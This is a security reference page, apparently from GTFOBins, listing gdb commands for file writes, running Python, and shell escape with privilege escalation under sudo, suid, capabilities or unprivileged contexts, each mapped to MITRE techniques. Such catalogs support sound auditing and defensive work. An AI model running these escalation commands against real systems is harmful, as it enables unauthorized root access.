CatalogGTFOBins

GTFO · Tool

gdb

10 techniquesLinuxGTFOBinsGPL-3.0

file-write

File WritePrivilege EscalationLinux
gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege EscalationLinux
gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-write
MITRE
T1565

file-write

File WriteLinux
gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-write
MITRE
T1565

inherit ← python

File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile UploadPrivilege EscalationLinux

This allows to run Python code (`...`).

gdb -nx -ex 'python ...' -ex quit
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
inherit, from:python

inherit ← python

File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile UploadPrivilege EscalationLinux

This allows to run Python code (`...`).

gdb -nx -ex 'python ...' -ex quit
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
inherit, from:python

inherit ← python

File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile UploadLinux

This allows to run Python code (`...`).

gdb -nx -ex 'python ...' -ex quit
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
inherit, from:python

shell

ExecutionPrivilege EscalationLinux
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
capabilities
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
gdb -nx -ex '!/bin/sh' -ex quit
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
gdb -nx -ex '!/bin/sh' -ex quit
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux
gdb -nx -ex '!/bin/sh' -ex quit
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059